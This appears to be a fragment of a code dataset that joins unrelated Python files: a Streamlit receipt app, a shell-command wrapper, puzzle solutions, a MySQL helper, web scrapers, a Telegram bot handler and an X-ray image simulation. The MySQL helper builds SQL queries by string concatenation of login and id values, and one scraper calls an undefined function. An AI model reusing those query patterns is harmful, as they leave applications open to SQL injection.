import settings\nfrom io import BytesIO\nimport os\nimport mimetypes\n\n\n__version__ = \"1.0.0\"\napp_name = \"Receipt Assistant\"\n\nst.set_page_config(\n page_title=app_name,\n page_icon=\"favicon.ico\",\n layout=\"centered\"\n)\nss = st.session_state\n\nload_css()\n\n\ndef ui_spacer(n=2, line=False, next_n=0):\n for _ in range(n):\n st.write('')\n if line:\n st.tabs([' '])\n for _ in range(next_n):\n st.write('')\n\n\ndef img_to_bytes(img_path):\n img_bytes = Path(img_path).read_bytes()\n encoded = base64.b64encode(img_bytes).decode()\n return encoded\n\n\ndef ui_info():\n st.sidebar.markdown(\n '''[](https://streamlit.io/)'''.format(\n img_to_bytes(\"sparrow_logo.png\")), unsafe_allow_html=True)\n\n st.markdown(f\"\"\"\n # Receipt Assistant\n version {__version__}\n \n Manage receipts with Sparrow. You can read, store and review your receipts.\n \"\"\")\n\n ui_spacer(1)\n st.write(\"Made by [Katana ML](https://www.katanaml.io).\", unsafe_allow_html=True)\n ui_spacer(1)\n st.markdown(\"\"\"\n You can use this app to upload your receipt for usage in ChatGPT. After uploading, you will receive a key to \n copy/paste into ChatGPT. ChatGPT will fetch the data using that key to answer your questions about the receipt. \n File data will be removed automatically from this app after reading it by ChatGPT or after 15 minutes, \n whichever comes first.\n \"\"\")\n\n ui_spacer(1)\n\n st.markdown(\"\"\"\n Thank you for your interest in Receipt Assistant.\n If you like this app you can ❤️ [follow us](https://twitter.com/katana_ml)\n on Twitter for news and updates.\n \"\"\")\n\n ui_spacer(1)\n\n st.markdown('Source code can be found [here](https://github.com/katanaml/sparrow).')\n\n\ndef ui_file_upload():\n st.write('## Upload your receipt file')\n\n with st.form(\"upload-form\", clear_on_submit=True):\n uploaded_file = st.file_uploader(\"Upload file\", accept_multiple_files=False,\n type=['png', 'jpg', 'jpeg', 'pdf'],\n help=\"When file will be processed, you will receive a key for ChatGPT\",\n label_visibility=\"collapsed\")\n submitted = st.form_submit_button(\"Upload\")\n\n if submitted and uploaded_file is not None:\n success_key = file_upload(uploaded_file)\n st.success(f\"Success! Copy this key into ChatGPT: {success_key}\", icon=\"✅\")\n\n\ndef ui_sample_receipts():\n sample_receipts = {\n \"Receipt 1\": \"sample_receipts/inout-20211211_001.jpg\",\n \"Receipt 2\": \"sample_receipts/ross-20211211_010.jpg\",\n \"Receipt 3\": \"sample_receipts/wholefoods-20211211_005.jpg\"\n }\n\n # Display images side by side\n col1, col2, col3 = st.columns(3)\n selected_receipt = None\n\n with col1:\n col1_left, col1_button, col1_right = st.columns([1, 2, 1])\n with col1_button:\n if st.button(\"Upload\", key=\"upload1\"):\n selected_receipt = \"Receipt 1\"\n img = st.image(sample_receipts[\"Receipt 1\"], width=200)\n with col2:\n col2_left, col2_button, col2_right = st.columns([1, 2, 1])\n with col2_button:\n if st.button(\"Upload\", key=\"upload2\"):\n selected_receipt = \"Receipt 2\"\n img = st.image(sample_receipts[\"Receipt 2\"], width=200)\n with col3:\n col3_left, col3_button, col3_right = st.columns([1, 2, 1])\n with col3_button:\n if st.button(\"Upload\", key=\"upload3\"):\n selected_receipt = \"Receipt 3\"\n img = st.image(sample_receipts[\"Receipt 3\"], width=200)\n\n if selected_receipt is not None:\n file_path = sample_receipts[selected_receipt]\n with open(sample_receipts[selected_receipt], \"rb\") as f:\n bytes_data = f.read()\n buffer = BytesIO(bytes_data)\n buffer.name = os.path.basename(file_path) # Add the 'name' attribute\n buffer.type = mimetypes.guess_type(file_path)[0] # Add the 'type' attribute\n\n success_key = file_upload(buffer)\n st.success(f\"Success! Copy this key into ChatGPT: {success_key}\", icon=\"✅\")\n\n\ndef file_upload(uploaded_file):\n api_url = settings.api_data_url\n\n # Prepare the payload\n files = {\n 'file': (uploaded_file.name, uploaded_file, uploaded_file.type)\n }\n\n data = {\n 'image_url': '',\n 'post_processing': 'true',\n 'sparrow_key': settings.sparrow_key\n }\n\n with st.spinner(\"Processing file...\"):\n response = requests.post(api_url, data=data, files=files, timeout=180)\n\n if response.status_code != 200:\n print('Request failed with status code:', response.status_code)\n print('Response:', response.text)\n\n return \"Error, contact support\"\n\n success_key = response.json()\n return success_key\n\n\nwith st.sidebar:\n ui_info()\n\nui_file_upload()\n\nst.divider()\nst.write('## Sample receipts')\nui_sample_receipts()\n\n","repo_name":"katanaml/sparrow","sub_path":"sparrow-plugin-ui/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5208,"program_lang":"python","lang":"en","doc_type":"code","stars":527,"dataset":"github-code","pt":"48"} +{"seq_id":"2174637517","text":"import subprocess\nimport signal\n\n\ndef popen(cmd):\n \"\"\"\n Run cmd by subprocess.\n\n :param cmd:\n :return:\n \"\"\"\n child = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n def handle_signal(signalnum, frame):\n child.send_signal(signalnum)\n signal.signal(signal.SIGINT, handle_signal)\n signal.signal(signal.SIGTERM, handle_signal)\n child.wait()\n return child.communicate()\n","repo_name":"wwtg99/wrunner","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18682817890","text":"import numpy as np\nimport math\n\nwith open(\"../inp/13.txt\", 'r') as f:\n lines = f.readlines()\n\n\ndef char2int(c):\n return 0 if c == \".\" else 1\n\n\ndef find_split_by_axis(arr: np.array, axis: int) -> int:\n if axis == 1:\n arr = np.transpose(arr)\n\n n = math.ceil(arr.shape[0] / 2)\n for i in range(1, n):\n top = arr[:i, :]\n bot = arr[(2 * i - 1):(i - 1):-1, :]\n if np.all(top == bot):\n return i\n\n arf = arr[::-1, :]\n for i in range(1, n):\n top = arf[:i, :]\n bot = arf[(2 * i - 1):(i - 1):-1, :]\n if np.all(top == bot):\n return arr.shape[0] - i\n\n return -1\n\n\nms = []\nthisMatrixRows = []\nfor line in lines:\n if not line.strip():\n ms.append(np.vstack(thisMatrixRows))\n thisMatrixRows = []\n else:\n thisMatrixRows.append(np.array(list(char2int(c) for c in line.strip())))\n\nsum_row_splits = 0\nsum_col_splits = 0\n\nfor m in ms:\n row_split = find_split_by_axis(m, 0)\n if row_split > 0:\n sum_row_splits += row_split\n\n col_split = find_split_by_axis(m, 1)\n if col_split > 0:\n sum_col_splits += col_split\n\nout = 100 * sum_row_splits + sum_col_splits\nprint(out)\n","repo_name":"dmhv/aoc2023","sub_path":"src/13p1.py","file_name":"13p1.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23134138433","text":"import mysql.connector\nimport os\nfrom dotenv import load_dotenv\nfrom mysql.connector import Error\nfrom User.User import *\nfrom Account.Account import *\nfrom Card.Card import *\n\n\n\nconnected = False\nconnection = \"\"\nconnection_config_dict= \"\"\n\n\"\"\"\nConnection to database.\n\"\"\"\ndef db_connect():\n global connected\n global connection\n global connection_config_dict\n load_dotenv()\n USER = os.getenv('USER')\n PASSWORD = os.getenv('PASSWORD')\n HOST = os.getenv('HOST')\n PORT = os.getenv('PORT')\n DATABASE = os.getenv('DATABASE')\n connection_config_dict = {\n 'user': USER,\n 'password': PASSWORD,\n 'host': HOST,\n 'port': PORT,\n 'database': DATABASE,\n }\n try:\n connection = mysql.connector.connect(**connection_config_dict)\n connected = True\n except Exception as e:\n print(e)\n\n\n\"\"\"\nClose database\n\"\"\"\ndef db_close():\n global connection\n connection.close()\n\n\n\"\"\"\nExecute lastID in database\n:param: query\n:type: str \n:returns: last id \n\"\"\"\ndef getLastId(table):\n global connected\n global connection\n try:\n\n if connected:\n cursor = connection.cursor()\n query = \"SELECT id FROM \" + table + \";\"\n cursor.execute(query)\n records = tuple(cursor.fetchall())\n if records.__len__() == 0:\n return 0\n else:\n return records.__getitem__(-1)[-1]\n connection.commit()\n cursor.close()\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n\n\"\"\"\nExecute the query in database\n:param: query\n:type: str \n:returns: nothing \n\"\"\"\ndef execute(query):\n global connected\n global connection\n try:\n\n if connected:\n cursor = connection.cursor()\n cursor.execute(query)\n connection.commit()\n cursor.close()\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n\n\"\"\"\nExecute the query in database\n:param: query, values\n:type: str, int/float/str \n:returns: nothing \n\"\"\"\ndef executeWithVal(query, values):\n global connected\n global connection\n try:\n\n if connected:\n cursor = connection.cursor()\n cursor.execute(query, values)\n connection.commit()\n cursor.close()\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n\n\"\"\"\nExecute the query in database and return the records from specific table\n:param: query\n:type: str \n:returns: all the records in specific table in database\n:rtype: tuple\n\"\"\"\ndef executeReturn(query):\n global connected\n global connection\n try:\n\n if connected:\n cursor = connection.cursor()\n cursor.execute(query)\n records = tuple(cursor.fetchall())\n connection.commit()\n cursor.close()\n return records\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n\n\"\"\"\nExecute the query in database and print the records from the specific table in the database\n:param: query\n:type: str \n:returns: nothing\n\"\"\"\ndef executePrint(query):\n global connected\n global connection\n try:\n\n if connected:\n cursor = connection.cursor()\n cursor.execute(query)\n records = cursor.fetchall()\n print(\"Data: \", records)\n connection.commit()\n cursor.close()\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n\"\"\"\nThis method restores data about the User\n:param: self, login\n:type: self, str\n:returns: User\n\"\"\"\ndef restoreUser(login):\n global connected\n global connection\n try:\n if connected:\n cursor = connection.cursor()\n query = \"SELECT * FROM user WHERE login = '\" + str (login) + \"';\"\n cursor.execute(query)\n record = tuple (cursor.fetchall())\n data = [record.__getitem__(0)[1], record.__getitem__(0)[2], record.__getitem__(0)[3], True]\n connection.commit()\n cursor.close()\n return data\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n\"\"\"\nThis method restores data about the Account\n:param: self\n:returns: Account\n\"\"\"\ndef restoreAccount(user_id):\n global connected\n global connection\n try:\n\n if connected:\n cursor = connection.cursor()\n query = \"SELECT * FROM account WHERE user_id = '\" + str (user_id) + \"';\"\n cursor.execute(query)\n record = tuple (cursor.fetchall())\n account = Account(record.__getitem__(0)[1], record.__getitem__(0)[2], record.__getitem__(0)[4], user_id, True)\n connection.commit()\n cursor.close()\n return account\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n\"\"\"\nThis method restores data about the cards \n:param: nothing\n:returns: cards \n:rtype: tuple\n\"\"\"\ndef restoreCards(account_id):\n global connected\n global connection\n try:\n\n if connected:\n cursor = connection.cursor()\n query = \"SELECT * FROM card WHERE account_id = '\" + str (account_id) + \"';\"\n cursor.execute(query)\n record = tuple (cursor.fetchall())\n cards = list()\n c = 0\n for i in record:\n password = i[2]\n type = i[3]\n if type == \"checking\":\n from Card.Checking import Checking\n c = Checking(password, type, account_id, True)\n if type == \"credit\":\n from Card.Credit import Credit\n c = Credit(password, type, account_id, True)\n if type == \"savings\":\n from Card.Savings import Savings\n c = Savings(password, type, account_id, True)\n cards.append(c)\n connection.commit()\n cursor.close()\n return cards\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n","repo_name":"yehorbolt/MOOP_SYB","sub_path":"ConnectToDB/ConnectToDb.py","file_name":"ConnectToDb.py","file_ext":"py","file_size_in_byte":6046,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"70404349905","text":"import requests\nfrom lxml import etree\nfrom selenium import webdriver\nimport redis\nurl = \"https://www.zhipin.com/\"\n\ndef creat_url():\n # headers = {'user_agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'}\n driver = webdriver.Chrome()\n\n driver.get(url=url)\n\n html_tree = etree.HTML(driver.page_source)\n\n city_list = html_tree.xpath(\"//div[@class='dorpdown-city']//li/@data-val\")\n\n job_list = html_tree.xpath(\"//div[@class='job-menu']//a/@href\")\n # print(city_list)\n job_code = []\n for job in job_list:\n job_code.append(job.split(\"-\")[-1])\n # 把城市代号和岗位代号一起拼接成一个url\n for city in city_list:\n for job in job_code:\n print(\"https://www.zhipin.com/c\" + city +\"-\" + job)\n\n\ndef write_to_redis(res):\n r = redis.StrictRedis(host='192.168.10.131', port=6379, db=0, charset='utf-8')\n for i in res:\n r.lpush('zhipin:start_urls',i)\n\n\nif __name__ == '__main__':\n write_to_redis(create_url())\n# creat_url()","repo_name":"harryCong/BosszhipinSpider","sub_path":"zhipinSpider/spiders/candjspider.py","file_name":"candjspider.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"28137172449","text":"with open(\"input.txt\", \"r\") as f:\n inStart, inMoves = f.read().split(\"\\n\\n\")\n\n\ndef parse_start(data):\n lines = data.split(\"\\n\")[::-1][1:]\n stacks = [[] for i in range(9)]\n for line in lines:\n line = line[1::4]\n for i in range(len(line)):\n if line[i] != \" \":\n stacks[i].append(line[i])\n return stacks\n\n\ndef parse_moves(data):\n moves = []\n for line in data.strip().split(\"\\n\"):\n print(line)\n from_split = line[5:].split(\" from \")\n to_split = from_split[1].split(\" to \")\n count = int(from_split[0])\n from_stack = int(to_split[0])\n to_stack = int(to_split[1])\n moves.append((count, (from_stack, to_stack)))\n return moves\n\n\ndef move_blocks(stacks, move):\n count, (src, dst) = move\n while count > 0:\n block = stacks[src-1].pop()\n stacks[dst-1].append(block)\n count -= 1\n\n\ndef move_blocks_jointly(stacks, move):\n count, (src, dst) = move\n moving = []\n while count > 0:\n block = stacks[src-1].pop()\n moving.append(block)\n count -= 1\n\n while moving:\n m = moving.pop()\n stacks[dst-1].append(m)\n\n\ndef top(stacks):\n return \"\".join([s[-1] for s in stacks])\n\n\nif __name__ == \"__main__\":\n stacks = parse_start(inStart)\n stacks_copy = parse_start(inStart)\n moves = parse_moves(inMoves)\n\n for move in moves:\n move_blocks(stacks, move)\n move_blocks_jointly(stacks_copy, move)\n\n print(\"Part 1:\", top(stacks))\n print(\"Part 2:\", top(stacks_copy))\n","repo_name":"vrasmus/AdventOfCode","sub_path":"2022/day05/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73843998867","text":"from objects.globals import dp, bot\n\nfrom aiogram.types import (\n Message, CallbackQuery, \n InlineKeyboardMarkup, InlineKeyboardButton\n )\n\nfrom db_models.Resume import Resume\n\n@dp.message_handler(lambda message: message.text == \"Мои резюме\")\nasync def create_resume(message: Message):\n all_resume = await Resume.objects.filter(user_id=message.from_user.id).all()\n \n if len(all_resume) == 0:\n return await message.answer(text=\"Резюме отсутствуют!\")\n\n for resume in all_resume:\n globals()[str(resume.id)] = InlineKeyboardMarkup(\n inline_keyboard=[\n [InlineKeyboardButton(text=\"Удалить\", callback_data=f\"delete-resume_{resume.id}\")]\n ]\n ) \n\n await message.answer(\n text=f\"Уникальный Id: {resume.id}\\n\"\n f\"Имя компании: {resume.company}\\n\"\n f\"Должность: {resume.position}\\n\"\n f\"Опыт работы: {resume.experience}\\n\"\n f\"Результаты: {resume.results}\\n\"\n f\"Причина увольнения: {resume.dismissal}\", \n reply_markup=globals()[str(resume.id)]\n )\n \n@dp.callback_query_handler(lambda query: query.data.startswith((\"delete-resume\")))\nasync def delete_resume(query: CallbackQuery):\n\n get_resume = await Resume.objects.get(id=int(query.data.split(\"_\")[1]))\n await get_resume.delete()\n\n return await bot.edit_message_text(\n chat_id=query.from_user.id, \n message_id=query.message.message_id, \n text=\"Резюме успешно удалено!\"\n )","repo_name":"amtp1/HH_Local","sub_path":"bot/commands/my_resume.py","file_name":"my_resume.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8971818360","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass BuscadorPeriodosCapesSpider(scrapy.Spider):\n name = \"buscador.periodicos.capes\"\n allowed_domains = [\"buscador.periodicos.capes.gov.br\"]\n start_urls = [\"https://buscador.periodicos.capes.gov.br/V?func=find-db-1\"]\n\n def parse_areas(self, response):\n for anchor in response.css(\"a\"):\n area = anchor.css(\"::text\").get()\n self.log(f\"listing {area}\")\n id_area = anchor.css(\"::attr(id)\").re_first(r\"\\d+\")\n yield response.follow(\n url=f\"/V/{self.session_token}/\"\n f\"?func=find-db-1-body-sub&sequence={id_area}\",\n callback=self.parse_subareas,\n meta={\"area\": area},\n )\n\n def parse_subareas(self, response):\n for anchor in response.css(\"a\"):\n subarea = anchor.css(\"::text\").get()\n self.log(f\"listing {subarea}\")\n subarea_id = anchor.css(\"::attr(id)\").re_first(r\"\\d+\")\n yield response.follow(\n url=f\"/V/{self.session_token}/?\"\n f\"func=find-db-1-category&mode=category&sequence={subarea_id}\",\n callback=self.parse_bases,\n meta={\"area\": response.meta[\"area\"], \"subarea\": subarea},\n )\n\n def parse_bases(self, response):\n area = response.meta[\"area\"]\n subarea = response.meta[\"subarea\"]\n for anchor in response.css(\"#nomedabase a\"):\n yield {\n \"name\": anchor.css(\"::text\").get(),\n \"url\": anchor.attrib[\"href\"],\n \"area\": area,\n \"subarea\": subarea,\n }\n\n next_page = response.css(\"a[title='Próxima Página']::attr(href)\").get()\n if next_page:\n yield response.follow(\n url=next_page,\n callback=self.parse_bases,\n meta={\"area\": area, \"subarea\": subarea},\n )\n\n def parse(self, response):\n self.session_token = response.css(\"body::attr(onload)\").re_first(\n r\"setCookie\\(\\\"(.+)\\\",\"\n )\n yield response.follow(\n f\"/V/{self.session_token}/?func=find-db-1-body-cat\",\n callback=self.parse_areas,\n )\n","repo_name":"cassiobotaro/holocron","sub_path":"holocron/spiders/buscador_periodos_capes.py","file_name":"buscador_periodos_capes.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"5544556468","text":"\"\"\"\r\nrun in Python 3.6 32-bit\r\n\r\nstep 1: Make image with Gaussian noise\r\nstep 2: add x-rays\r\nstep 3: find the x-rays\r\nstep 4: make x-ray splits\r\nstep 5: find the splits\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nfrom tabulate import tabulate\r\nfrom scipy import ndimage\r\nfrom scipy.signal import *\r\nfrom astropy.io import fits\r\n\r\ndef make_gaussian(size, peak, sigma, show):\r\n \"\"\" \r\n size: (x,y)\r\n peak: counts in adu\r\n sigma: the sigma of the gaussian noise\r\n show: boolean of whether to display the image or not \r\n \r\n retruns: 2D np-array of image pixels\r\n \"\"\"\r\n \r\n noise = np.random.normal(peak,sigma,size)\r\n \r\n if (show):\r\n fig = plt.figure()\r\n ax1 = plt.subplot(121)\r\n plt.imshow(noise, origin='lower')\r\n plt.colorbar()\r\n \r\n ax2 = plt.subplot(122)\r\n plt.hist(noise.flatten(),bins=300)\r\n \r\n plt.show()\r\n \r\n return noise\r\n \r\ndef add_xrays(image, num, peak, sigma, show):\r\n \"\"\"\r\n image: the np-array of values with gaussian noise\r\n num: number of x-rays to be added\r\n peak: counts in adu of peak x-ray events\r\n sigma: the sigma of the x-ray events\r\n show: boolean of whether to display the image or not\r\n \r\n retruns: 2D np-array of image pixels\r\n \"\"\"\r\n events = np.random.normal(peak,sigma,num)\r\n x_positions = np.random.random_integers(0,len(image[0])-1,num)\r\n y_positions = np.random.random_integers(0,len(image)-1, num)\r\n \r\n data = np.column_stack((x_positions, y_positions, events))\r\n \r\n print('Single Events')\r\n print(tabulate(data, headers=['x-pos', 'y-pos','energy'], tablefmt='fancy_grid'))\r\n \r\n events_image = image\r\n \r\n for i in range(num):\r\n events_image[y_positions[i]][x_positions[i]] += events[i]\r\n \r\n if (show):\r\n fig = plt.figure()\r\n plt.imshow(events_image, origin='lower')\r\n plt.colorbar()\r\n plt.show()\r\n \r\n return events_image\r\n\r\n\r\ndef find_xray(image, thresh):\r\n \"\"\"\r\n image: the image in which we will find x-ray events\r\n thresh: threshold of sigmas above which are events\r\n \r\n returns: void (will print a nice table)\r\n \"\"\"\r\n \r\n peak = image.mean()\r\n sigma = image.std()\r\n \r\n \"\"\"things past 5*sigma are certainly events\"\"\"\r\n subtracted = (image - peak) - (thresh*sigma)\r\n \r\n events = subtracted[subtracted>0]\r\n pos = list()\r\n \r\n for i in events:\r\n pos.append(np.where(subtracted == i))\r\n \r\n \r\n \"\"\"reshaping the array to be useful\"\"\"\r\n pos = np.array(pos)\r\n pos = np.reshape(pos, (len(events),2))\r\n pos.T[[0, 1]] = pos.T[[1, 0]]\r\n \r\n \"\"\"reshape events into a column\"\"\"\r\n events = np.reshape(( (events + peak) + (thresh*sigma) ), (len(events),1))\r\n \r\n \"\"\"nice pretty data table\"\"\"\r\n data = np.column_stack((pos,events))\r\n \r\n \"\"\"nice pretty output\"\"\"\r\n print('Found Events')\r\n print(tabulate(data, headers=['x-pos', 'y-pos','energy'], tablefmt='fancy_grid'))\r\n\r\n\r\ndef add_split_events(image, num, type, peak, sigma, show):\r\n \"\"\"\r\n image: the image to add events to\r\n num: number of events to be added\r\n type: 2,4,5 or all splits (2,4,5,3 respectively)\r\n peak: counts in adu of peak x-ray events\r\n sigma: the sigma of the x-ray events\r\n show: boolean of whether to display the image or not\r\n \r\n retruns: 2D np-array of image pixels\r\n \"\"\"\r\n \r\n \"\"\"handle type first\"\"\"\r\n if (type == 2):\r\n \"\"\"x or y axis to be split along, per event\"\"\"\r\n xy = np.random.random_integers(0,1,num)\r\n \r\n \"\"\"make the events\"\"\"\r\n events = np.random.normal(peak,sigma,num) \r\n splits = np.random.rand(num)\r\n \r\n \"\"\"coefficients of events to split\"\"\"\r\n half1 = splits\r\n half2 = 1-half1\r\n \r\n \"\"\"place the events\"\"\"\r\n for i in range(num):\r\n \"\"\"make it generalized\"\"\"\r\n dx = (0)if(xy[i])else(1)\r\n dy = (1)if(xy[i])else(0)\r\n \"\"\"generalized code for either value\"\"\"\r\n x_pos = np.random.random_integers(0,len(image[0])-1-dx)\r\n y_pos = np.random.random_integers(0,len(image) -1-dy)\r\n \r\n \"\"\"fill first pixel\"\"\"\r\n image[y_pos] [x_pos] += half1[i]*events[i]\r\n \r\n \"\"\"fill second\"\"\"\r\n image[y_pos+dy][x_pos+dx] += half2[i]*events[i]\r\n \r\n print('\\n2 Split Event')\r\n print('x:',x_pos)\r\n print('y:',y_pos)\r\n print('E:',events[i])\r\n \r\n \r\n if (type == 4):\r\n \"\"\"make the events\"\"\"\r\n events = np.random.normal(peak/4,sigma,num) \r\n \"\"\"coefficients of events to split\"\"\"\r\n bit1 = np.random.normal(1,0.05,num) \r\n bit2 = np.random.normal(1,0.05,num) \r\n bit3 = np.random.normal(1,0.05,num) \r\n bit4 = np.random.normal(1,0.05,num) \r\n \r\n x_pos = np.random.random_integers(0,len(image[0])-2,num)\r\n y_pos = np.random.random_integers(0,len(image) -2,num)\r\n \r\n for i in range(num):\r\n \"\"\"fill first pixel\"\"\"\r\n image[y_pos[i]] [x_pos[i]] += bit1[i]*events[i]\r\n \"\"\"fill second\"\"\"\r\n image[y_pos[i]+1][x_pos[i]] += bit2[i]*events[i]\r\n \"\"\"fill third\"\"\"\r\n image[y_pos[i]] [x_pos[i]+1] += bit3[i]*events[i]\r\n \"\"\"fill fourth\"\"\"\r\n image[y_pos[i]+1][x_pos[i]+1] += bit4[i]*events[i]\r\n \r\n print('\\n4 Split Event')\r\n print('x:',x_pos[i])\r\n print('y:',y_pos[i])\r\n print('E:',events[i]*4)\r\n \r\n \r\n if (type == 5):\r\n \"\"\"make events\"\"\"\r\n event = np.random.normal(peak/7*3,sigma,num) \r\n arms = np.random.normal(peak/7, sigma,num) \r\n \r\n x_pos = np.random.random_integers(1,len(image[0])-2,num)\r\n y_pos = np.random.random_integers(1,len(image) -2,num)\r\n \r\n for i in range(num):\r\n \"\"\"fill main pixel\"\"\"\r\n image[y_pos[i]] [x_pos[i]] += event[i]\r\n \r\n \"\"\"fill upper\"\"\"\r\n image[y_pos[i]-1][x_pos[i]] += arms[i]*np.random.normal(1,0.05)\r\n \r\n \"\"\"fill left\"\"\"\r\n image[y_pos[i]] [x_pos[i]-1] += arms[i]*np.random.normal(1,0.05)\r\n \r\n \"\"\"fill lower\"\"\"\r\n image[y_pos[i]+1][x_pos[i]] += arms[i]*np.random.normal(1,0.05)\r\n \r\n \"\"\"fill right\"\"\"\r\n image[y_pos[i]] [x_pos[i]+1] += arms[i]*np.random.normal(1,0.05)\r\n \r\n print('\\nCross Split Event')\r\n print('x:',x_pos[i])\r\n print('y:',y_pos[i])\r\n print('E:',event[i]*7/3)\r\n \r\n if (type == 3):\r\n \"\"\"MAKE IT RECURSIVE, WOO!!!\"\"\"\r\n for i in range(num):\r\n choice = np.random.random_integers(0,2)\r\n \r\n if (choice == 1):\r\n \"\"\"call this function with a 2\"\"\"\r\n image = add_split_events(image, 1, 2, peak, sigma, 0)\r\n \r\n elif (choice == 2):\r\n \"\"\"call this function with a 5\"\"\"\r\n image = add_split_events(image, 1, 5, peak, sigma, 0)\r\n \r\n else:\r\n \"\"\"call this function with a 4\"\"\"\r\n image = add_split_events(image, 1, 4, peak, sigma, 0)\r\n \r\n \r\n if (show):\r\n fig = plt.figure()\r\n plt.imshow(image, origin='lower')\r\n plt.colorbar()\r\n plt.show()\r\n \r\n return image\r\n\r\n\r\ndef find_all_events(image,thresh):\r\n \"\"\"\r\n image: the image in which we will find x-ray events\r\n thresh: threshold of sigmas above which are events\r\n \r\n returns: image with consolidated events\r\n \"\"\"\r\n image = event_consolidator(image,thresh)\r\n \r\n find_xray(image,thresh)\r\n \r\n return image\r\n\r\nimage = make_gaussian((200,200),100,5,0)\r\n\r\nimage = add_xrays(image, 0, 1000, 10, 0)\r\n \r\nimage = add_split_events(image, 5000, 3, 1000, 10, 1)\r\n\r\n# im = fits.open('C:/Users/PSU_Telemetry/Documents/WORKPLACE(CHRIS)/Python/image.fits')\r\n# \r\n# image = im[0].data\r\n# \r\n# im.close()\r\n\r\nimage = find_all_events(image,3)\r\n\r\nfig = plt.figure()\r\nplt.imshow(image, origin='lower')\r\nplt.colorbar()\r\nplt.show()","repo_name":"McEntafferGroup/Python","sub_path":"GaussianXrays.py","file_name":"GaussianXrays.py","file_ext":"py","file_size_in_byte":8337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10615639623","text":"contests_dict = {}\nfinal_dict = {}\n\nwhile True:\n current_contest = input()\n\n if current_contest == \"end of contests\":\n break\n\n contests_dict[current_contest] = {}\n\nwhile True:\n current_student = input()\n\n if current_student == \"end of submissions\":\n break\n\n contest, password, username, points = current_student.split(\"=>\")\n checking_contest = f\"{contest}:{password}\"\n count = 0\n\n if checking_contest in contests_dict:\n for ch in contests_dict[checking_contest]:\n if ch == username:\n count += 1\n if int(contests_dict[checking_contest][username]) < int(points):\n contests_dict[checking_contest][username] = int(points)\n\n if (checking_contest in contests_dict) and (count == 0):\n contests_dict[checking_contest][username] = int(points)\n\nfor chart in contests_dict:\n interview, result = chart.split(\":\")\n\n for key in contests_dict[chart]:\n if key not in final_dict:\n final_dict[key] = {}\n final_dict[key][interview] = contests_dict[chart][key]\n else:\n final_dict[key][interview] = contests_dict[chart][key]\n\nbest_candidate = \"\"\npoints = 0\n\nfor ch in final_dict:\n current_points = 0\n for key in final_dict[ch]:\n current_points += final_dict[ch][key]\n\n if points < current_points:\n best_candidate = ch\n points = current_points\n\nprint(f\"Best candidate is {best_candidate} with total {points} points.\\nRanking:\")\n\nfor key, value in sorted(final_dict.items(), key=lambda x: x[0], reverse=False):\n print(key)\n for chart, digit in sorted(final_dict[key].items(), key=lambda x: x[1], reverse=True):\n print(f\"# {chart} -> {digit}\")","repo_name":"AlexanderBedrosyan/Programming-Fundamentals-with-Python","sub_path":"Dictionaries - More Exercises/ranking_1.py","file_name":"ranking_1.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"17730487953","text":"import platform\nimport re\nimport sys\nfrom datetime import date, timedelta\nfrom pathlib import Path\nfrom types import SimpleNamespace\nfrom typing import Any, Dict, Iterable, List, Type\n\nimport pytest\nfrom pydantic_core import CoreSchema, core_schema\nfrom typing_extensions import Literal\n\nfrom pydantic import (\n BaseModel,\n ConfigDict,\n Field,\n GetCoreSchemaHandler,\n GetJsonSchemaHandler,\n PydanticDeprecatedSince20,\n PydanticUserError,\n ValidationError,\n conlist,\n root_validator,\n)\nfrom pydantic.config import Extra\nfrom pydantic.deprecated.decorator import validate_arguments\nfrom pydantic.deprecated.json import custom_pydantic_encoder, pydantic_encoder, timedelta_isoformat\nfrom pydantic.deprecated.parse import load_file, load_str_bytes\nfrom pydantic.deprecated.tools import parse_obj_as, schema_json_of, schema_of\nfrom pydantic.functional_serializers import model_serializer\nfrom pydantic.json_schema import JsonSchemaValue\nfrom pydantic.type_adapter import TypeAdapter\n\nif sys.version_info < (3, 11):\n from typing_extensions import get_overloads\nelse:\n from typing import get_overloads\n\n\ndef deprecated_from_orm(model_type: Type[BaseModel], obj: Any) -> Any:\n with pytest.warns(\n PydanticDeprecatedSince20,\n match=re.escape(\n 'The `from_orm` method is deprecated; set `model_config[\"from_attributes\"]=True` '\n 'and use `model_validate` instead.'\n ),\n ):\n return model_type.from_orm(obj)\n\n\ndef test_from_attributes_root():\n class PokemonCls:\n def __init__(self, *, en_name: str, jp_name: 